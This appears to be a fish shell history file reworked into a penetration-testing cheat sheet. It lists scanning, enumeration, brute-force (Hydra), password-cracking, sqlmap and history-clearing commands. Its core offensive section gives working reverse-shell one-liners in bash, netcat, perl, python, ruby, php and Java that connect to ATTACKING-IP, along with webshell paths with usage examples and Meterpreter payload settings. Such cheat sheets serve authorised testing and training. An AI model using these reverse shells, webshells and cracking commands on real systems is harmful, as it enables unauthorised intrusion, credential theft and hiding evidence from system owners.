-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathfish_history_pentesting_suite
488 lines (243 loc) · 20 KB
/
fish_history_pentesting_suite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
- cmd: nmap -v -sS -A -T4 target - Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services'
- cmd: nmap -v -sS -p--A -T4 target - As above but scans all TCP ports (takes a lot longer)
- cmd: nmap -v -sU -sS -p- -A -T4 target - As above but scans all TCP ports and UDP scan (takes even longer)
- cmd: nmap -v -p 445 --script=smb-check-vulns--script-args=unsafe=1 192.168.1.X - Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover
- cmd: ls /usr/share/nmap/scripts/* | grep ftp - Search nmap scripts for keywords
- cmd: nbtscan 192.168.1.0/24 - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
- cmd: enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing
- cmd: nbtscan -v - Displays the nbtscan version
- cmd: nbtscan -f target(s) - This shows the full NBT resource record responses for each machine scanned, not a one line summary, use this options when scanning a single host
- cmd: nbtscan -O file-name.txt target(s) - Sends output to a file
- cmd: nbtscan -H - Generate an HTTP header
- cmd: nbtscan -P - Generate Perl hashref output, which can be loaded into an existing program for easier processing, much easier than parsing text output
- cmd: nbtscan -V - Enable verbose mode
- cmd: nbtscan -n - Turns off this inverse name lookup, for hanging resolution
- cmd: nbtscan -p PORT target(s) - This allows specification of a UDP port number to be used as the source in sending a query
- cmd: nbtscan -m - Include the MAC (aka "Ethernet") addresses in the response, which is already implied by the -f option.
- cmd: netdiscover -r 192.168.1.0/24 - Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site
- cmd: nbtscan 192.168.1.0/24 - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
- cmd: enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing
- cmd: python -m SimpleHTTPServer 80 - Run a basic http server, great for serving up shells etc
- cmd: mount 192.168.1.1:/vol/share /mnt/nfs - Mount NFS share to /mnt/nfs
- cmd: mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs - Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
- cmd: net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no - Mount a Windows share on Windows from the command line
- cmd: apt-get install smb4k -y - Install smb4k on Kali, useful Linux GUI for browsing SMB shares
- cmd: nc -v 192.168.1.1 25 - telnet 192.168.1.1 25 - Basic versioning / finger printing via displayed banner
- cmd: nmpcheck -t 192.168.1.X -c public
- cmd: snmpwalk -c public -v1 192.168.1.X 1 | grep hrSWRunName | cut -d* * -f
- cmd: snmpenum -t 192.168.1.X
- cmd: onesixtyone -c names -i hosts
- cmd: nslookup -> set type=any -> ls -d blah.com - Windows DNS zone transfer
- cmd: dig axfr blah.com @ns1.blah.com - Linux DNS zone transfer
- cmd: dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
- cmd: nikto -h 192.168.1.1 - Perform a nikto scan against target
- cmd: dirbuster - Configure via GUI, CLI input doesn't work most of the time
- cmd: tcpdump tcp port 80 -w output.pcap -i eth0 - tcpdump for port 80 on interface eth0, outputs to output.pcap
- cmd: python /usr/share/doc/python-impacket-doc/examples
- cmd: /samrdump.py 192.168.XXX.XXX - Enumerate users from SMB
- cmd: ridenum.py 192.168.XXX.XXX 500 50000 dict.txt - RID cycle SMB / enumerate users from SMB
- cmd: snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 | cut -d” “ -f4 - Enmerate users from SNMP
- cmd: python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX - Enmerate users from SNMP
- cmd: nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep) - Search for SNMP servers with nmap, grepable output
- cmd: /usr/share/wordlists - Kali word lists
- cmd: hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V - Hydra FTP brute force
- cmd: hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V - Hydra POP3 brute force
- cmd: hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V - Hydra SMTP brute force
- cmd: John The Ripper - JTR
- cmd: john --wordlist=/usr/share/wordlists/rockyou.txt hashes - JTR password cracking
- cmd: john --format=descrypt --wordlist
- cmd: /usr/share/wordlists/rockyou.txt hash.txt - JTR forced descrypt cracking with wordlist
- cmd: john --format=descrypt hash --show - JTR forced descrypt brute force cracking
- cmd: searchsploit windows 2003 | grep -i local - Search exploit-db for exploit, in this example windows 2003 + local esc
- cmd: site:exploit-db.com exploit kernel <= 3 - Use google to search exploit-db.com for exploits
- cmd: grep -R "W7" /usr/share/metasploit-framework
- cmd: /modules/exploit/windows/* - Search metasploit modules using grep - msf search sucks a bit
- cmd: netstat -tulpn - Show Linux network ports with process ID's (PIDs)
- cmd: watch ss -stplu - Watch TCP, UDP open ports in real time with socket summary.
- cmd: lsof -i - Show established connections.
- cmd: macchanger -m MACADDR INTR - Change MAC address on KALI Linux.
- cmd: ifconfig eth0 192.168.2.1/24 - Set IP address in Linux.
- cmd: ifconfig eth0:1 192.168.2.3/24 - Add IP address to existing network interface in Linux.
- cmd: ifconfig eth0 hw ether MACADDR - Change MAC address in Linux using ifconfig.
- cmd: ifconfig eth0 mtu 1500 - Change MTU size Linux using ifconfig, change 1500 to your desired MTU.
- cmd: dig -x 192.168.1.1 - Dig reverse lookup on an IP address.
- cmd: host 192.168.1.1 - Reverse lookup on an IP address, in case dig is not installed.
- cmd: dig @192.168.2.2 domain.com -t AXFR - Perform a DNS zone transfer using dig.
- cmd: host -l domain.com nameserver - Perform a DNS zone transfer using host.
- cmd: nbtstat -A x.x.x.x - Get hostname for IP address.
- cmd: ip addr add 192.168.2.22/24 dev eth0 - Adds a hidden IP address to Linux, does not show up when performing an ifconfig.
- cmd: tcpkill -9 host google.com - Blocks access to google.com from the host machine.
- cmd: echo "1" > /proc/sys/net/ipv4/ip_forward - Enables IP forwarding, turns Linux box into a router - handy for routing traffic through a box.
- cmd: echo "8.8.8.8" > /etc/resolv.conf - Use Google DNS.
- cmd: whoami - Shows currently logged in user on Linux.
- cmd: id - Shows currently logged in user and groups for the user.
- cmd: last - Shows last logged in users.
- cmd: mount - Show mounted drives.
- cmd: df -h - Shows disk usage in human readable output.
- cmd: echo "user:passwd" | chpasswd - Reset password in one line.
- cmd: getent passwd - List users on Linux.
- cmd: strings /usr/local/bin/blah - Shows contents of none text files, e.g. whats in a binary.
- cmd: uname -ar - Shows running kernel version.
- cmd: PATH=$PATH:/my/new-path - Add a new PATH, handy for local FS manipulation.
- cmd: history - Show bash history, commands the user has entered previously.
- cmd: cat /etc/redhat-release - Shows Redhat / CentOS version number.
- cmd: rpm -qa - List all installed RPM's on an RPM based Linux distro.
- cmd: rpm -q --changelog openvpn - Check installed RPM is patched against CVE, grep the output for CVE.
- cmd: yum update - Update all RPM packages with YUM, also shows whats out of date.
- cmd: yum update httpd - Update individual packages, in this example HTTPD (Apache).
- cmd: yum install package - Install a package using YUM.
- cmd: yum --exclude=package kernel* update - Exclude a package from being updates with YUM.
- cmd: yum remove package - Remove package with YUM.
- cmd: yum erase package - Remove package with YUM.
- cmd: yum list package - Lists info about yum package.
- cmd: yum provides httpd - What a packages does, e.g Apache HTTPD Server.
- cmd: yum info httpd - Shows package info, architecture, version etc.
- cmd: yum localinstall blah.rpm - Use YUM to install local RPM, settles deps from repo.
- cmd: yum deplist package - Shows deps for a package.
- cmd: yum list installed | more - List all installed packages.
- cmd: yum grouplist | more - Show all YUM groups.
- cmd: yum groupinstall 'Development Tools' - Install YUM group.
- cmd: cat /etc/debian_version - Shows Debian version number.
- cmd: cat /etc/*-release - Shows Ubuntu version number.
- cmd: dpkg -l - List all installed packages on Debian / .deb based Linux distro.
Linux User Management
- cmd: useradd new-user - Creates a new Linux user.
- cmd: passwd username - Reset Linux user password, enter just passwd if you are root.
- cmd: deluser username - Remove a Linux user.
- cmd: unzip archive.zip - Extracts zip file on Linux.
- cmd: zipgrep *.txt archive.zip - Search inside a .zip archive.
- cmd: tar xf archive.tar - Extract tar file Linux.
- cmd: tar xvzf archive.tar.gz - Extract a tar.gz file Linux.
- cmd: tar xjf archive.tar.bz2 - Extract a tar.bz2 file Linux.
- cmd: tar ztvf file.tar.gz | grep blah - Search inside a tar.gz file.
- cmd: gzip -d archive.gz - Extract a gzip file Linux.
- cmd: zcat archive.gz - Read a gz file Linux without decompressing.
- cmd: zless archive.gz - Same function as the less command for .gz archives.
- cmd: zgrep 'blah' /var/log/maillog*.gz - Search inside .gz archives on Linux, search inside of compressed log files.
- cmd: vim file.txt.gz - Use vim to read .txt.gz files (my personal favorite).
- cmd: upx -9 -o output.exe input.exe - UPX compress .exe file Linux.
- cmd: zip -r file.zip /dir/* - Creates a .zip file on Linux.
- cmd: tar cf archive.tar files - Creates a tar file on Linux.
- cmd: tar czf archive.tar.gz files - Creates a tar.gz file on Linux.
- cmd: tar cjf archive.tar.bz2 files - Creates a tar.bz2 file on Linux.
- cmd: gzip file - Creates a file.gz file on Linux.
- cmd: df -h blah - Display size of file / dir Linux.
- cmd: diff file1 file2 - Compare / Show differences between two files on Linux.
- cmd: md5sum file - Generate MD5SUM Linux.
- cmd: md5sum -c blah.iso.md5 - Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir.
- cmd: file blah - Find out the type of file on Linux, also displays if file is 32 or 64 bit.
- cmd: dos2unix - Convert Windows line endings to Unix / Linux.
- cmd: base64 < input-file > output-file - Base64 encodes input file and outputs a Base64 encoded file called output-file.
- cmd: base64 -d < input-file > output-file - Base64 decodes input file and outputs a Base64 decoded file called output-file.
- cmd: touch -r ref-file new-file - Creates a new file using the timestamp data from the reference file, drop the -r to simply create a file.
- cmd: rm -rf - Remove files and directories without prompting for confirmation.
- cmd: $ smbmount //server/share /mnt/win -o user=username,password=password1 , smbclient -U user \\\\server\\share , $ mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
- cmd: init 6 - Reboot Linux from the command line.
- cmd: gcc -o output.c input.c - Compile C code.
- cmd: gcc -m32 -o output.c input.c - Cross compile C code, compile 32 bit binary on 64 bit Linux.
- cmd: unset HISTORYFILE - Disable bash history logging.
- cmd: rdesktop X.X.X.X - Connect to RDP server from Linux.
- cmd: kill -9 $$ - Kill current session.
- cmd: chown user:group blah - Change owner of file or dir.
- cmd: chown -R user:group blah - Change owner of file or dir and all underlying files / dirs - recersive chown.
- cmd: chmod 600 file - Change file / dir permissions, see [Linux File System Permissons](#linux-file-system-permissions) for details.
- cmd: Clear bash history - $ ssh user@X.X.X.X | cat /dev/null > ~/.bash_history
- cmd: 777 rwxrwxrwx No restriction, global WRX any user can do anything.
- cmd: 755 rwxr-xr-x Owner has full access, others can read and execute the file.
- cmd: 700 rwx------ Owner has full access, no one else has access.
- cmd: 666 rw-rw-rw- All users can read and write but not execute.
- cmd: 644 rw-r--r-- Owner can read and write, everyone else can read.
- cmd: 600 rw------- Owner can read and write, everyone else has no access.
- cmd: / - also know as "slash" or the root.
- cmd: /bin - Common programs, shared by the system, the system administrator and the users.
- cmd: /boot - Boot files, boot loader (grub), kernels, vmlinuz
- cmd: /dev - Contains references to system devices, files with special properties.
- cmd: /etc - Important system config files.
- cmd: /home - Home directories for system users.
- cmd: /lib - Library files, includes files for all kinds of programs needed by the system and the users.
- cmd: /lost+found - Files that were saved during failures are here.
- cmd: /mnt - Standard mount point for external file systems.
- cmd: /media - Mount point for external file systems (on some distros).
- cmd: /net - Standard mount point for entire remote file systems - nfs.
- cmd: /opt - Typically contains extra and third party software.
- cmd: /proc - A virtual file system containing information about system resources.
- cmd: /root - root users home dir.
- cmd: /sbin - Programs for use by the system and the system administrator.
- cmd: /tmp - Temporary space for use by the system, cleaned upon reboot.
- cmd: /usr -Programs, libraries, documentation etc. for all user-related programs.
- cmd: /var - Storage for all variable files and temporary files created by users, such as log files, mail queue, print spooler. Web servers, Databases etc.
- cmd: /etc/passwd - Contains local Linux users.
- cmd: /etc/shadow - Contains local account password hashes.
- cmd: /etc/group - Contains local account groups.
- cmd: /etc/init.d/ - Contains service init script - worth a look to see whats installed.
- cmd: /etc/hostname - System hostname.
- cmd: /etc/network/interfaces - Network interfaces.
- cmd: /etc/resolv.conf - System DNS servers.
- cmd: /etc/profile - System environment variables.
- cmd: ~/.ssh/ - SSH keys.
- cmd: ~/.bash_history - Users bash history log.
- cmd: /var/log/ - Linux system log files are typically stored here.
- cmd: /var/adm/ - UNIX system log files are typically stored here.
- cmd: /var/log/apache2/access.log & /var/log/httpd/access.log - Apache access log file typical path.
- cmd: /etc/fstab - File system mounts.
- cmd: gcc -o exploit exploit.c - Basic GCC compile
- cmd: gcc -m32 exploit.c -o exploit - Cross compile 32 bit binary on 64 bit Linux
- cmd: i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe - Compile windows .exe on Linux
- cmd: gcc -o suid suid.c
- cmd: gcc -m32 -o suid suid.c - for 32bit
- cmd: root@kali:~# nc -nvlp 80 , nc: listening on :: 80 ... , nc: listening on 0.0.0.0 80 ...
- cmd: exec /bin/bash 0&0 2>&0 , 0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196 , exec 5<>/dev/tcp/ATTACKING-IP/80 , cat <&5 | while read line; do $line 2>&5 >&5; done , # or: , while read line 0<&5; do $line 2>&5 >&5; done , bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
- cmd: php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' , (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)
- cmd: nc -e /bin/sh ATTACKING-IP 80 , /bin/sh | nc ATTACKING-IP 80 , rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
- cmd: rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p , telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
- cmd: perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- cmd: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' , #perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- cmd: ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- cmd: r = Runtime.getRuntime() , p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) , p.waitFor()
- cmd: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- cmd: /usr/share/webshells/php/php-reverse-shell.php - Pen Test Monkey - PHP Reverse Shell
- cmd: /usr/share/webshells/php/php-findsock-shell.php
- cmd: /usr/share/webshells/php/findsock.c - Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80
- cmd: /usr/share/webshells/php/simple-backdoor.php - PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
- cmd: /usr/share/webshells/php/php-backdoor.php - Larger PHP shell, with a text input box for command execution.
- cmd: /usr/share/webshells/perl/perl-reverse-shell.pl - Pen Test Monkey - Perl Reverse Shell
- cmd: /usr/share/webshells/perl/perlcmd.cgi - Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd
- cmd: /usr/share/webshells/cfm/cfexec.cfm - Cold Fusion Shell - aka CFM Shell
- cmd: /usr/share/webshells/asp/ - Kali ASP Shells
- cmd: /usr/share/webshells/aspx/ - Kali ASPX Shells
- cmd: /usr/share/webshells/jsp/jsp-reverse.jsp - Kali JSP Reverse Shell
- cmd: Python TTY Shell Trick - python -c 'import pty;pty.spawn("/bin/bash")' - echo os.system('/bin/bash')
- cmd: Spawn Interactive sh shell - /bin/sh -i
- cmd: Spawn Perl TTY Shell - exec "/bin/sh"; perl —e 'exec "/bin/sh";'
- cmd: Spawn Ruby TTY Shell - exec "/bin/sh"
- cmd: Spawn Lua TTY Shell - os.execute('/bin/sh')
- cmd: Run shell commands from vi: - :!bash
- cmd: Spawn TTY Shell NMAP - !sh
- cmd: ssh -L 9999:10.0.2.2:445 user@192.168.2.250 - Port 9999 locally is forwarded to port 445 on 10.0.2.2 through host 192.168.2.250
- cmd: ssh -D 127.0.0.1:9050 root@192.168.2.250 - Dynamically allows all port forwards to the subnets availble on the target.
- cmd: set payload windows/meterpreter/reverse_tcp - Windows reverse tcp payload
- cmd: set payload windows/vncinject/reverse_tcp
- cmd: set ViewOnly false - Meterpreter Windows VNC Payload
- cmd: set payload linux/meterpreter/reverse_tcp - Meterpreter Linux Reverse Payload
- cmd: MD5 Hash Length - 16 Bytes
- cmd: SHA-1 Hash Length - 20 Bytes
- cmd: SHA-256 Hash Length - 32 Bytes
- cmd: SHA-512 Hash Length - 64 Bytes
- cmd: sqlmap -u http://meh.com --forms --batch --crawl=10--cookie=jsessionid=54321 --level=5 --risk=3 - Automated sqlmap scan
- cmd: sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php" - Targeted sqlmap scan
- cmd: sqlmap -u "http://meh.com/meh.php?id=1"--dbms=mysql --tech=U --random-agent --dump - Scan url for union + error based injection with mysql backend and use a random user agent + database dump
- cmd: sqlmap -o -u "http://meh.com/form/" --forms - sqlmap check form for injection
- cmd: sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump - sqlmap dump and crack hashes for table users on database-name
- cmd: cp '/home/glass/Desktop/notes' '/home/glass/.config/fish/fish_history'
when: 1467343444
paths:
- /home/glass/Desktop/notes
- /home/glass/.config/fish/fish_history
- cmd: pluma /home/glass/.config/fish/fish_history
when: 1467343452
paths:
- /home/glass/.config/fish/fish_history
- cmd: pluma /home/glass/.config/fish/fish_history
when: 1467345804
paths:
- /home/glass/.config/fish/fish_history